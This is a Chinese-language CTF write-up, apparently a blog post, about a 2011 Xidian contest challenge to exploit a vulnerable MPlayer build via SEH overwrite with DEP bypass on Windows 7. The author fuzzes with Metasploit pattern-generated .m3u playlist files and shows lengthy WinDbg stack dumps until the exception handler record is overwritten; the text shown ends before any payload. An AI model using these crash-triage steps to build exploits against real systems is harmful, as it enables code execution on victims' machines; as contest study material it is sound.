2011西电网络攻防大赛漏洞挖掘题目调试笔记

睡觉被雷声震醒了，干脆起来玩玩漏洞。

2011年的溢出题目第二题目居然坑爹的绑定在127.0.0.1的地址，这是本地溢出呢还是远程溢出，出题者这是要闹那样。先不看这个了先玩玩那个漏洞挖掘题目。

压缩包里是一个mplayer的播放器，题目说明如下：

安装这个有漏洞的软件

目标：
1.观察软件漏洞出现的原因
2.试图利用软件漏洞完成一个poc
3.要求在win7下关闭UAC完成攻击，绕过DEP（要求在演示exploit之前先展示DEP的开启)
4.要求利用SEH进行漏洞利用

提交答案时，提交屏幕录像和说明文档，其中说明文档占15分，录像15分。

漏洞要自己挖掘，播放器很多出问题的地方在皮肤啊m3u文件啊等等，先生成一个超长字符串的畸形文件fuzz一下。

root@kali:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 5000 > ~/Desktop/5k.m3u

0:000> g
ModLoad: 76300000 7631d000   C:/WINDOWS/system32/IMM32.DLL
ModLoad: 62c20000 62c29000   C:/WINDOWS/system32/LPK.DLL
ModLoad: 73fa0000 7400b000   C:/WINDOWS/system32/USP10.dll
ModLoad: 10000000 10035000   C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/unrar.dll
ModLoad: 74680000 746cb000   C:/WINDOWS/system32/MSCTF.dll
ModLoad: 77bd0000 77bd8000   C:/WINDOWS/system32/version.dll
ModLoad: 73640000 7366e000   C:/WINDOWS/system32/msctfime.ime
ModLoad: 5adc0000 5adf7000   C:/WINDOWS/system32/uxtheme.dll
ModLoad: 5adc0000 5adf7000   C:/WINDOWS/system32/UxTheme.dll
(89c.80): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0022eab4 ecx=ffffffff edx=0022e6c0 esi=7ffddbf8 edi=61423161
eip=7c921278 esp=0022e6ac ebp=0022e6c8 iopl=0         nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00010246
ntdll!RtlInitAnsiString+0x1b:
7c921278 f2ae            repne scas byte ptr es:[edi]
0:000> !exchain
0022ffe0: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:/WINDOWS/system32/kernel32.dll -
kernel32!ValidateLocale+2b0 (7c839af0)
Invalid exception stack at ffffffff
0:000> d fs:[0]
003b:00000000 e0 ff 22 00 00 00 23 00-00 a0 22 00 00 00 00 00 ..”…#…”…..
003b:00000010 00 1e 00 00 00 00 00 00-00 d0 fd 7f 00 00 00 00 …………….
003b:00000020 9c 08 00 00 80 00 00 00-00 00 00 00 88 2c 25 00 ………….,%.
003b:00000030 00 e0 fd 7f 06 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000040 98 64 55 e2 00 00 00 00-00 00 00 00 00 00 00 00 .dU………….
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d 0022ffe0
0022ffe0 ff ff ff ff f0 9a 83 7c-f0 6f 81 7c 00 00 00 00 …….|.o.|….
0022fff0 00 00 00 00 00 00 00 00-40 11 40 00 00 00 00 00 ……..@.@…..
00230000 41 63 74 78 20 00 00 00-01 00 00 00 b8 24 00 00 Actx ……..$..
00230010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 …….. …….
00230020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 …………4…
00230030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 …………….
00230040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 …………….
00230050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 …………….
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0022e6c8 7c81380a 61423161 0022ecbc 00000003 ntdll!RtlInitAnsiString+0x1b
*** ERROR: Module load completed but symbols could not be loaded for image00400000
0022e948 00561818 61423161 0022e974 0022eb88 kernel32!FindFirstFileA+0×21
0022e990 7c9461dc 003e52a0 7c96b1be 003e5338 image00400000+0×161818
0022ea74 7c98e57f 003e0000 00000000 003e52a0 ntdll!iswdigit+0x2bf
0022eaa8 7c98f888 003e0608 61306161 61613161 ntdll!RtlpNtMakeTemporaryKey+0x6bdb
0022eb18 35646134 61366461 64613764 39646138 ntdll!RtlpNtMakeTemporaryKey+0x7ee4
0022eb1c 61366461 64613764 39646138 61306561 <Unloaded_eme.dll>+0×35646133
0022eb20 64613764 39646138 61306561 65613165 0×61366461
0022eb24 39646138 61306561 65613165 33656132 0×64613764
0022eb28 61306561 65613165 33656132 61346561 <Unloaded_eme.dll>+0×39646137
0022eb2c 65613165 33656132 61346561 65613565 0×61306561
0022eb30 33656132 61346561 65613565 37656136 0×65613165
0022eb34 61346561 65613565 37656136 61386561 <Unloaded_eme.dll>+0×33656131
0022eb38 65613565 37656136 61386561 66613965 0×61346561
0022eb3c 37656136 61386561 66613965 31666130 0×65613565
0022eb40 61386561 66613965 31666130 61326661 <Unloaded_eme.dll>+0×37656135
0022eb44 66613965 31666130 61326661 66613366 0×61386561
0022eb48 31666130 61326661 66613366 35666134 0×66613965
0022eb4c 61326661 66613366 35666134 61366661 <Unloaded_eme.dll>+0x3166612f
0022eb50 66613366 35666134 61366661 66613766 0×61326661
0:000> g
(89c.80): Access violation – code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0022eab4 ecx=ffffffff edx=0022e6c0 esi=7ffddbf8 edi=61423161
eip=7c921278 esp=0022e6ac ebp=0022e6c8 iopl=0         nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00000246
ntdll!RtlInitAnsiString+0x1b:
7c921278 f2ae            repne scas byte ptr es:[edi]
0:000> !exchain
0022ffe0: kernel32!ValidateLocale+2b0 (7c839af0)
Invalid exception stack at ffffffff
程序界面已经退出，windbg捕获到程序触发了异常，并进入异常处理流程，可以看到esp附近的指向的内存区域已被我们的特殊字符串覆盖了，栈中的异常处理结构 0022ffe0 并没有被覆盖，我们看一下
0:000> d esp
0022e6ac 74 e9 22 00 a5 e0 80 7c-c0 e6 22 00 61 31 42 61 t.”….|..”.a1Ba
0022e6bc 03 00 00 00 00 00 00 00-61 31 42 61 48 e9 22 00 ……..a1BaH.”.
0022e6cc 0a 38 81 7c 61 31 42 61-bc ec 22 00 03 00 00 00 .8.|a1Ba..”…..
0022e6dc f2 4f 83 7c 00 00 00 00-6a 00 36 00 41 00 6a 00 .O.|….j.6.A.j.
0022e6ec 37 00 41 00 6a 00 38 00-41 00 6a 00 39 00 41 00 7.A.j.8.A.j.9.A.
0022e6fc 6b 00 30 00 41 00 6b 00-00 00 00 00 00 00 00 00 k.0.A.k………
0022e70c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e71c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d
0022e72c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e73c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e74c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e75c 00 00 25 00 00 00 00 00-00 00 00 00 00 00 00 00 ..%………….
0022e76c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e77c c0 e6 22 00 00 00 00 00-54 e8 22 00 20 e9 92 7c ..”…..T.”. ..|
0022e78c 60 62 94 7c ff ff ff ff-56 62 94 7c 45 60 94 7c `b.|….Vb.|E`.|
0022e79c 00 00 25 00 60 00 00 40-5d 00 93 7c c0 00 00 00 ..%.`..@]..|….
0:000>
0022e7ac 03 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7bc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7cc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7dc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7ec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7fc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e80c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e81c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000>
0022e82c 00 00 25 00 00 00 00 00-00 00 00 00 00 00 00 00 ..%………….
0022e83c 00 00 00 00 00 00 00 00-c0 28 25 00 a8 e8 22 00 ………(%…”.
0022e84c 22 00 fb 7f 01 00 00 00-80 e8 22 00 04 a2 80 7c “………”….|
0022e85c c0 28 25 00 a8 e8 22 00-aa e8 22 00 34 e9 22 00 .(%…”…”.4.”.
0022e86c 37 e9 22 00 00 00 00 00-00 00 00 00 01 00 00 00 7.”………….
0022e87c 01 00 00 00 00 e9 22 00-4b 49 c0 77 a8 03 00 00 ……”.KI.w….
0022e88c 00 00 00 00 a8 e8 22 00-00 00 00 00 34 e9 22 00 ……”…..4.”.
0022e89c 03 00 00 00 01 00 00 00-00 00 00 00 73 00 c0 77 …………s..w
0:000>
0022e8ac e0 4a c0 77 01 00 00 00-98 61 3e 00 53 00 00 00 .J.w…..a>.S…
0022e8bc dc e8 22 00 42 00 00 00-00 00 00 00 00 00 00 00 ..”.B………..
0022e8cc 00 00 00 00 01 00 00 00-01 00 00 00 20 e9 92 7c ………… ..|
0022e8dc c8 00 1a 02 a8 e8 22 00-ac e8 22 00 a8 e8 22 00 ……”…”…”.
0022e8ec f8 db fd 7f e0 ff 22 00-bc ec 22 00 ff ff ff ff ……”…”…..
0022e8fc 48 e9 22 00 9a 58 83 7c-77 ee 80 7c bc ec 22 00 H.”..X.|w..|..”.
0022e90c 03 00 00 00 b4 ea 22 00-38 e9 22 00 3a c9 be 77 ……”.8.”.:..w
0022e91c 98 61 3e 00 3e 00 00 00-01 00 00 00 bc ec 22 00 .a>.>………”.
0:000>
0022e92c 02 00 00 00 08 e9 22 00-02 00 00 00 e0 ff 22 00 ……”…….”.
0022e93c f0 9a 83 7c 80 ee 80 7c-66 ec 00 00 03 00 00 00 …|…|f…….
0022e94c 18 18 56 00 61 31 42 61-74 e9 22 00 88 eb 22 00 ..V.a1Bat.”…”.
0022e95c 20 e9 92 7c 40 f0 98 7c-ff ff ff ff c8 ed 22 00   ..|@..|……”.
0022e96c b4 ea 22 00 90 ab 3e 00-70 14 00 00 ee fe ee fe ..”…>.p…….
0022e97c 00 00 3e 00 a8 97 3e 00-00 00 00 00 74 ea 22 00 ..>…>…..t.”.
0022e98c 00 00 00 00 74 ea 22 00-dc 61 94 7c a0 52 3e 00 ….t.”..a.|.R>.
0022e99c be b1 96 7c 38 53 3e 00-b8 07 00 00 ee fe ee fe …|8S>………
0:000>
0022e9ac 00 00 3e 00 a0 52 3e 00-00 00 00 00 a4 ea 22 00 ..>..R>…….”.
0022e9bc 00 00 00 00 a4 ea 22 00-dc 61 94 7c 00 00 3e 00 ……”..a.|..>.
0022e9cc 56 62 94 7c a0 52 3e 00-00 00 3e 00 a8 52 3e 00 Vb.|.R>…>..R>.
0022e9dc 00 00 00 00 d0 6d 3e 00-00 00 00 00 d4 ea 22 00 …..m>…….”.
0022e9ec 00 00 00 00 a8 52 3e 00-dc 61 94 7c 00 00 3e 00 …..R>..a.|..>.
0022e9fc 48 b7 2c 09 d0 6d 3e 00-a8 97 3e 00 10 41 2a 09 H.,..m>…>..A*.
0022ea0c 78 01 3e 00 f0 3a 29 09-01 00 00 00 78 01 3e 00 x.>..:)…..x.>.
0022ea1c 00 00 00 00 d8 6d 3e 00-ff ff ff ff 20 00 00 00 …..m>….. …
0:000>
0022ea2c 78 01 3e 00 f8 3a 29 09-a0 52 3e 00 88 00 00 00 x.>..:)..R>…..
0022ea3c 18 41 2a 09 56 62 94 7c-01 00 00 00 18 41 2a 09 .A*.Vb.|…..A*.
0022ea4c 00 00 3e 00 00 00 00 00-a8 97 3e 00 00 00 3e 00 ..>…….>…>.
0022ea5c 00 00 00 00 74 ea 22 00-d8 ea 22 00 20 e9 92 7c ….t.”…”. ..|
0022ea6c 00 00 3e 00 56 62 94 7c-a8 ea 22 00 7f e5 98 7c ..>.Vb.|..”….|
0022ea7c 00 00 3e 00 00 00 00 00-a0 52 3e 00 00 00 3e 00 ..>……R>…>.
0022ea8c a8 52 3e 00 a4 ea 22 00-08 eb 22 00 20 e9 92 7c .R>…”…”. ..|
0022ea9c 00 00 00 00 00 00 3e 00-00 00 00 00 18 eb 22 00 ……>…….”.
0:000>
0022eaac 88 f8 98 7c 08 06 3e 00-61 61 30 61 61 31 61 61 …|..>.aa0aa1aa
0022eabc 32 61 61 33 61 61 34 61-61 35 61 61 36 61 61 37 2aa3aa4aa5aa6aa7
0022eacc 61 61 38 61 61 39 61 62-30 61 62 31 61 62 32 61 aa8aa9ab0ab1ab2a
0022eadc 62 33 61 62 34 61 62 35-61 62 36 61 62 37 61 62 b3ab4ab5ab6ab7ab
0022eaec 38 61 62 39 61 63 30 61-63 31 61 63 32 61 63 33 8ab9ac0ac1ac2ac3
0022eafc 61 63 34 61 63 35 61 63-36 61 63 37 61 63 38 61 ac4ac5ac6ac7ac8a
0022eb0c 63 39 61 64 30 61 64 31-61 64 32 61 64 33 61 64 c9ad0ad1ad2ad3ad
0022eb1c 34 61 64 35 61 64 36 61-64 37 61 64 38 61 64 39 4ad5ad6ad7ad8ad9
0:000>
0022eb2c 61 65 30 61 65 31 61 65-32 61 65 33 61 65 34 61 ae0ae1ae2ae3ae4a
0022eb3c 65 35 61 65 36 61 65 37-61 65 38 61 65 39 61 66 e5ae6ae7ae8ae9af
0022eb4c 30 61 66 31 61 66 32 61-66 33 61 66 34 61 66 35 0af1af2af3af4af5
0022eb5c 61 66 36 61 66 37 61 66-38 61 66 39 61 67 30 61 af6af7af8af9ag0a
0022eb6c 67 31 61 67 32 61 67 33-61 67 34 61 67 35 61 67 g1ag2ag3ag4ag5ag
0022eb7c 36 61 67 37 61 67 38 61-67 39 61 68 30 61 68 31 6ag7ag8ag9ah0ah1
0022eb8c 61 68 32 61 68 33 61 68-34 61 68 35 61 68 36 61 ah2ah3ah4ah5ah6a
0022eb9c 68 37 61 68 38 61 68 39-61 69 30 61 69 31 61 69 h7ah8ah9ai0ai1ai
0:000>
0022ebac 32 61 69 33 61 69 34 61-69 35 61 69 36 61 69 37 2ai3ai4ai5ai6ai7
0022ebbc 61 69 38 61 69 39 61 6a-30 61 6a 31 61 6a 32 61 ai8ai9aj0aj1aj2a
0022ebcc 6a 33 61 6a 34 61 6a 35-61 6a 36 61 6a 37 61 6a j3aj4aj5aj6aj7aj
0022ebdc 38 61 6a 39 61 6b 30 61-6b 00 41 6b 32 41 6b 33 8aj9ak0ak.Ak2Ak3
0022ebec 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A
0022ebfc 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al
0022ec0c 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9
0022ec1c 41 6d 30 41 6d 31 41 6d-32 41 6d 33 41 6d 34 41 Am0Am1Am2Am3Am4A
0:000>
0022ec2c 6d 35 41 6d 36 41 6d 37-41 6d 38 41 6d 39 41 6e m5Am6Am7Am8Am9An
0022ec3c 30 41 6e 31 41 6e 32 41-6e 33 41 6e 34 41 6e 35 0An1An2An3An4An5
0022ec4c 41 6e 36 41 6e 37 41 6e-38 41 6e 39 41 6f 30 41 An6An7An8An9Ao0A
0022ec5c 6f 31 41 6f 32 41 6f 33-41 6f 34 41 6f 35 41 6f o1Ao2Ao3Ao4Ao5Ao
0022ec6c 36 41 6f 37 41 6f 38 41-6f 39 41 70 30 41 70 31 6Ao7Ao8Ao9Ap0Ap1
0022ec7c 41 70 32 41 70 33 41 70-34 41 70 35 41 70 36 41 Ap2Ap3Ap4Ap5Ap6A
0022ec8c 70 37 41 70 38 41 70 39-41 71 30 41 71 31 41 71 p7Ap8Ap9Aq0Aq1Aq
0022ec9c 32 41 71 33 41 71 34 41-71 35 41 71 36 41 71 37 2Aq3Aq4Aq5Aq6Aq7
0:000>
0022ecac 41 71 38 41 71 39 41 72-30 41 72 31 41 72 32 41 Aq8Aq9Ar0Ar1Ar2A
0022ecbc 38 73 3e 00 34 41 72 35-41 72 36 41 72 37 41 72 8s>.4Ar5Ar6Ar7Ar
0022eccc 38 41 72 39 41 73 30 41-73 31 41 73 32 41 73 33 8Ar9As0As1As2As3
0022ecdc 41 73 34 41 73 35 41 73-36 41 73 37 41 73 38 41 As4As5As6As7As8A
0022ecec 73 39 41 74 30 41 74 31-41 74 32 41 74 33 41 74 s9At0At1At2At3At
0022ecfc 34 41 74 35 41 74 36 41-74 37 41 74 38 41 74 39 4At5At6At7At8At9
0022ed0c 41 75 30 41 75 31 41 75-32 41 75 33 41 75 34 41 Au0Au1Au2Au3Au4A
0022ed1c 75 35 41 75 36 41 75 37-41 75 38 41 75 39 41 76 u5Au6Au7Au8Au9Av
0:000>
0022ed2c 30 41 76 31 41 76 32 41-76 33 41 76 34 41 76 35 0Av1Av2Av3Av4Av5
0022ed3c 41 76 36 41 76 37 41 76-38 41 76 39 41 77 30 41 Av6Av7Av8Av9Aw0A
0022ed4c 77 31 41 77 32 41 77 33-41 77 34 41 77 35 41 77 w1Aw2Aw3Aw4Aw5Aw
0022ed5c 36 41 77 37 41 77 38 41-77 39 41 78 30 41 78 31 6Aw7Aw8Aw9Ax0Ax1
0022ed6c 41 78 32 41 78 33 41 78-34 41 78 35 41 78 36 41 Ax2Ax3Ax4Ax5Ax6A
0022ed7c 78 37 41 78 38 41 78 39-41 79 30 41 79 31 41 79 x7Ax8Ax9Ay0Ay1Ay
0022ed8c 32 41 79 33 41 79 34 41-79 35 41 79 36 41 79 37 2Ay3Ay4Ay5Ay6Ay7
0022ed9c 41 79 38 41 79 39 41 7a-30 41 7a 31 41 7a 32 41 Ay8Ay9Az0Az1Az2A
0:000>
0022edac 7a 33 41 7a 34 41 7a 35-41 7a 36 41 7a 37 41 7a z3Az4Az5Az6Az7Az
0022edbc 38 41 7a 39 42 61 30 42-61 31 42 61 32 42 61 33 8Az9Ba0Ba1Ba2Ba3
0022edcc 42 61 34 42 61 35 42 61-36 42 61 37 42 61 38 42 Ba4Ba5Ba6Ba7Ba8B
0022eddc 61 39 42 62 30 42 62 31-42 62 32 42 62 33 42 62 a9Bb0Bb1Bb2Bb3Bb
0022edec 34 42 62 35 42 62 36 42-62 37 42 62 38 42 62 39 4Bb5Bb6Bb7Bb8Bb9
0022edfc 42 63 30 42 63 31 42 63-32 42 63 33 42 63 34 42 Bc0Bc1Bc2Bc3Bc4B
0022ee0c 63 35 42 63 36 42 63 37-42 63 38 42 63 39 42 64 c5Bc6Bc7Bc8Bc9Bd
0022ee1c 30 42 64 31 42 64 32 42-64 33 42 64 34 42 64 35 0Bd1Bd2Bd3Bd4Bd5
0:000>
0022ee2c 42 64 36 42 64 37 42 64-38 42 64 39 42 65 30 42 Bd6Bd7Bd8Bd9Be0B
0022ee3c 65 31 42 65 32 42 65 33-42 65 34 42 65 35 42 65 e1Be2Be3Be4Be5Be
0022ee4c 36 42 65 37 42 65 38 42-65 39 42 66 30 42 66 31 6Be7Be8Be9Bf0Bf1
0022ee5c 42 66 32 42 66 33 42 66-34 42 66 35 42 66 36 42 Bf2Bf3Bf4Bf5Bf6B
0022ee6c 66 37 42 66 38 42 66 39-42 67 30 42 67 31 42 67 f7Bf8Bf9Bg0Bg1Bg
0022ee7c 32 42 67 33 42 67 34 42-67 35 42 67 36 42 67 37 2Bg3Bg4Bg5Bg6Bg7
0022ee8c 42 67 38 42 67 39 42 68-30 42 68 31 42 68 32 42 Bg8Bg9Bh0Bh1Bh2B
0022ee9c 68 33 42 68 34 42 68 35-42 68 36 42 68 37 42 68 h3Bh4Bh5Bh6Bh7Bh
0:000>
0022eeac 38 42 68 39 42 69 30 42-69 31 42 69 32 42 69 33 8Bh9Bi0Bi1Bi2Bi3
0022eebc 42 69 34 42 69 35 42 69-36 42 69 37 42 69 38 42 Bi4Bi5Bi6Bi7Bi8B
0022eecc 69 39 42 6a 30 42 6a 31-42 6a 32 42 6a 33 42 6a i9Bj0Bj1Bj2Bj3Bj
0022eedc 34 42 6a 35 42 6a 36 42-6a 37 42 6a 38 42 6a 39 4Bj5Bj6Bj7Bj8Bj9
0022eeec 42 6b 30 42 6b 31 42 6b-32 42 6b 33 42 6b 34 42 Bk0Bk1Bk2Bk3Bk4B
0022eefc 6b 35 42 6b 36 42 6b 37-42 6b 38 42 6b 39 42 6c k5Bk6Bk7Bk8Bk9Bl
0022ef0c 30 42 6c 31 42 6c 32 42-6c 33 42 6c 34 42 6c 35 0Bl1Bl2Bl3Bl4Bl5
0022ef1c 42 6c 36 42 6c 37 42 6c-38 42 6c 39 42 6d 30 42 Bl6Bl7Bl8Bl9Bm0B
0:000>
0022ef2c 6d 31 42 6d 32 42 6d 33-42 6d 34 42 6d 35 42 6d m1Bm2Bm3Bm4Bm5Bm
0022ef3c 36 42 6d 37 42 6d 38 42-6d 39 42 6e 30 42 6e 31 6Bm7Bm8Bm9Bn0Bn1
0022ef4c 42 6e 32 42 6e 33 42 6e-34 42 6e 35 42 6e 36 42 Bn2Bn3Bn4Bn5Bn6B
0022ef5c 6e 37 42 6e 38 42 6e 39-42 6f 30 42 6f 31 42 6f n7Bn8Bn9Bo0Bo1Bo
0022ef6c 32 42 6f 33 42 6f 34 42-6f 35 42 6f 36 42 6f 37 2Bo3Bo4Bo5Bo6Bo7
0022ef7c 42 6f 38 42 6f 39 42 70-30 42 70 31 42 70 32 42 Bo8Bo9Bp0Bp1Bp2B
0022ef8c 70 33 42 70 34 42 70 35-42 70 36 42 70 37 42 70 p3Bp4Bp5Bp6Bp7Bp
0022ef9c 38 42 70 39 42 71 30 42-71 31 42 71 32 42 71 33 8Bp9Bq0Bq1Bq2Bq3
0:000>
0022efac 42 71 34 42 71 35 42 71-36 42 71 37 42 71 38 42 Bq4Bq5Bq6Bq7Bq8B
0022efbc 71 39 42 72 30 42 72 31-42 72 32 42 72 33 42 72 q9Br0Br1Br2Br3Br
0022efcc 34 42 72 35 42 72 36 42-72 37 42 72 38 42 72 39 4Br5Br6Br7Br8Br9
0022efdc 42 73 30 42 73 31 42 73-32 42 73 33 42 73 34 42 Bs0Bs1Bs2Bs3Bs4B
0022efec 73 35 42 73 36 42 73 37-42 73 38 42 73 39 42 74 s5Bs6Bs7Bs8Bs9Bt
0022effc 30 42 74 31 42 74 32 42-74 33 42 74 34 42 74 35 0Bt1Bt2Bt3Bt4Bt5
0022f00c 42 74 36 42 74 37 42 74-38 42 74 39 42 75 30 42 Bt6Bt7Bt8Bt9Bu0B
0022f01c 75 31 42 75 32 42 75 33-42 75 34 42 75 35 42 75 u1Bu2Bu3Bu4Bu5Bu
0:000>
0022f02c 36 42 75 37 42 75 38 42-75 39 42 76 30 42 76 31 6Bu7Bu8Bu9Bv0Bv1
0022f03c 42 76 32 42 76 33 42 76-34 42 76 35 42 76 36 42 Bv2Bv3Bv4Bv5Bv6B
0022f04c 76 37 42 76 38 42 76 39-42 77 30 42 77 31 42 77 v7Bv8Bv9Bw0Bw1Bw
0022f05c 32 42 77 33 42 77 34 42-77 35 42 77 36 42 77 37 2Bw3Bw4Bw5Bw6Bw7
0022f06c 42 77 38 42 77 39 42 78-30 42 78 31 42 78 32 42 Bw8Bw9Bx0Bx1Bx2B
0022f07c 78 33 42 78 34 42 78 35-42 78 36 42 78 37 42 78 x3Bx4Bx5Bx6Bx7Bx
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0:000>
0022fdac 38 47 66 39 47 67 30 47-67 31 47 67 32 47 67 33 8Gf9Gg0Gg1Gg2Gg3
0022fdbc 47 67 34 47 67 35 47 67-36 47 67 37 47 67 38 47 Gg4Gg5Gg6Gg7Gg8G
0022fdcc 67 39 47 68 30 47 68 31-47 68 32 47 68 33 47 68 g9Gh0Gh1Gh2Gh3Gh
0022fddc 34 47 68 35 47 68 36 47-68 37 47 68 38 47 68 39 4Gh5Gh6Gh7Gh8Gh9
0022fdec 47 69 30 47 69 31 47 69-32 47 69 33 47 69 34 47 Gi0Gi1Gi2Gi3Gi4G
0022fdfc 69 35 47 69 36 47 69 37-47 69 38 47 69 39 47 6a i5Gi6Gi7Gi8Gi9Gj
0022fe0c 30 47 6a 31 47 6a 32 47-6a 33 47 6a 34 47 6a 35 0Gj1Gj2Gj3Gj4Gj5
0022fe1c 47 6a 36 47 6a 37 47 6a-38 47 6a 39 47 6b 30 47 Gj6Gj7Gj8Gj9Gk0G
0:000>
0022fe2c 6b 31 47 6b 32 47 6b 33-47 6b 34 47 6b 35 47 6b k1Gk2Gk3Gk4Gk5Gk
0022fe3c 00 61 35 47 61 36 47 61-37 47 61 38 47 61 39 47 .a5Ga6Ga7Ga8Ga9G
0022fe4c 62 30 47 62 31 47 62 32-47 62 33 47 62 34 47 62 b0Gb1Gb2Gb3Gb4Gb
0022fe5c 35 47 62 36 47 62 37 47-62 38 47 62 39 47 63 30 5Gb6Gb7Gb8Gb9Gc0
0022fe6c 47 63 31 47 63 32 47 63-33 47 63 34 47 63 35 47 Gc1Gc2Gc3Gc4Gc5G
0022fe7c 63 36 47 63 37 47 63 38-47 63 39 47 64 30 47 64 c6Gc7Gc8Gc9Gd0Gd
0022fe8c 31 47 64 32 47 64 33 47-64 34 47 64 35 47 64 36 1Gd2Gd3Gd4Gd5Gd6
0022fe9c 47 64 37 47 64 38 47 64-39 47 65 30 47 65 31 47 Gd7Gd8Gd9Ge0Ge1G
0:000>
0022feac 65 32 47 65 33 47 65 34-47 65 35 47 65 36 47 65 e2Ge3Ge4Ge5Ge6Ge
0022febc 37 47 65 38 47 65 39 47-66 30 47 66 31 47 66 32 7Ge8Ge9Gf0Gf1Gf2
0022fecc 47 66 33 47 66 34 47 66-35 47 66 36 47 66 37 47 Gf3Gf4Gf5Gf6Gf7G
0022fedc 66 38 47 66 39 47 67 30-47 67 31 47 67 32 47 67 f8Gf9Gg0Gg1Gg2Gg
0022feec 33 47 67 34 47 67 35 47-67 36 47 67 37 47 67 38 3Gg4Gg5Gg6Gg7Gg8
0022fefc 47 67 39 47 68 30 47 68-31 47 68 32 47 68 33 47 Gg9Gh0Gh1Gh2Gh3G
0022ff0c 68 34 47 68 35 47 68 36-47 68 37 47 68 38 47 68 h4Gh5Gh6Gh7Gh8Gh
0022ff1c 39 47 69 30 47 69 31 47-69 32 47 69 33 47 69 34 9Gi0Gi1Gi2Gi3Gi4
0:000>
0022ff2c 47 69 35 47 69 36 47 69-37 47 69 38 47 69 39 47 Gi5Gi6Gi7Gi8Gi9G
0022ff3c 6a 30 47 6a 31 47 6a 32-47 6a 33 47 6a 34 47 6a j0Gj1Gj2Gj3Gj4Gj
0022ff4c 35 47 6a 36 47 6a 37 47-6a 38 47 6a 39 47 6b 30 5Gj6Gj7Gj8Gj9Gk0
0022ff5c 47 6b 31 47 6b 32 47 6b-33 47 6b 34 47 6b 35 47 Gk1Gk2Gk3Gk4Gk5G
0022ff6c 6b 00 a7 00 94 ff 22 00-ff ff ff ff 90 ff 22 00 k…..”…….”.
0022ff7c 00 00 00 00 00 00 00 00-40 11 40 00 00 00 00 00 ……..@.@…..
0022ff8c 20 b0 62 81 00 00 00 00-60 2a 3e 00 00 00 00 00   .b…..`*>…..
0022ff9c 00 e0 fd 7f c0 ff 22 00-58 11 40 00 02 00 00 00 ……”.X.@…..
0:000>
0022ffac 00 00 00 00 ba dc 92 7c-e4 6f 81 7c fe ff ff ff …….|.o.|….
0022ffbc 09 00 00 00 f0 ff 22 00-e7 6f 81 7c 00 00 00 00 ……”..o.|….
0022ffcc f9 b3 d1 77 00 e0 fd 7f-05 00 00 c0 c8 ff 22 00 …w……….”.
0022ffdc d0 e2 22 00 ff ff ff ff-f0 9a 83 7c f0 6f 81 7c ..”……..|.o.|
0022ffec 00 00 00 00 00 00 00 00-00 00 00 00 40 11 40 00 …………@.@.
0022fffc 00 00 00 00 41 63 74 78-20 00 00 00 01 00 00 00 ….Actx …….
0023000c b8 24 00 00 c4 00 00 00-00 00 00 00 20 00 00 00 .$………. …
0023001c 00 00 00 00 14 00 00 00-01 00 00 00 06 00 00 00 …………….

可以看到超长字符串，还差约150字节就能覆盖到栈中的异常处理结构，重新生成一个更大的畸形文件
root@scan:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 6000 > ~/Desktop/6k.m3u

重新运行程序
0:000> !exchain
0022ffe0: 6f47366f
Invalid exception stack at 47356f47
0:000> d fs:[0]
*** ERROR: Module load completed but symbols could not be loaded for image00400000
003b:00000000 e0 ff 22 00 00 00 23 00-00 a0 22 00 00 00 00 00 ..”…#…”…..
003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 …………….
003b:00000020 5c 07 00 00 60 0a 00 00-00 00 00 00 88 2c 25 00 /…`……..,%.
003b:00000030 00 60 fd 7f ce 00 00 00-00 00 00 00 00 00 00 00 .`…………..
003b:00000040 98 64 55 e2 00 00 00 00-00 00 00 00 00 00 00 00 .dU………….
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d 0022ffe0
